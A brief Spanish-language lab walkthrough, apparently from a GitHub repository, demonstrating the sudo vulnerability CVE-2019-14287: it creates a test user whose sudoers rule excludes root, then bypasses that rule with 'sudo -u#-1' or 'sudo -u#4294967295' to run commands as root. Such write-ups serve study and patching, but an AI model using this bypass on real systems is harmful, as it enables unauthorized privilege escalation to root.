gurneesh/cve-2019-14287-write-upDemostración paso a paso de la vulnerabilidad CVE-2019-14287 en sudo que permite a usuarios restringidos ejecutar comandos como root mediante IDs de usuario manipulados.
4294967295 El fallo de Sudo permite a los usuarios restringidos ejecutar comandos como root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // add password to user visudo
test ALL=(ALL, !root) /usr/bin/id // specifying that this user cannot use id command with root user
GUARDA EL ARCHIVO Y SAL DEL USUARIO ROOT
sudo su - test
sudo id
SE MOSTRARÁ EL MENSAJE: Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id O BIEN sudo -u#4294967295 id
Y ahí lo tienes, has ejecutado el comando id como root
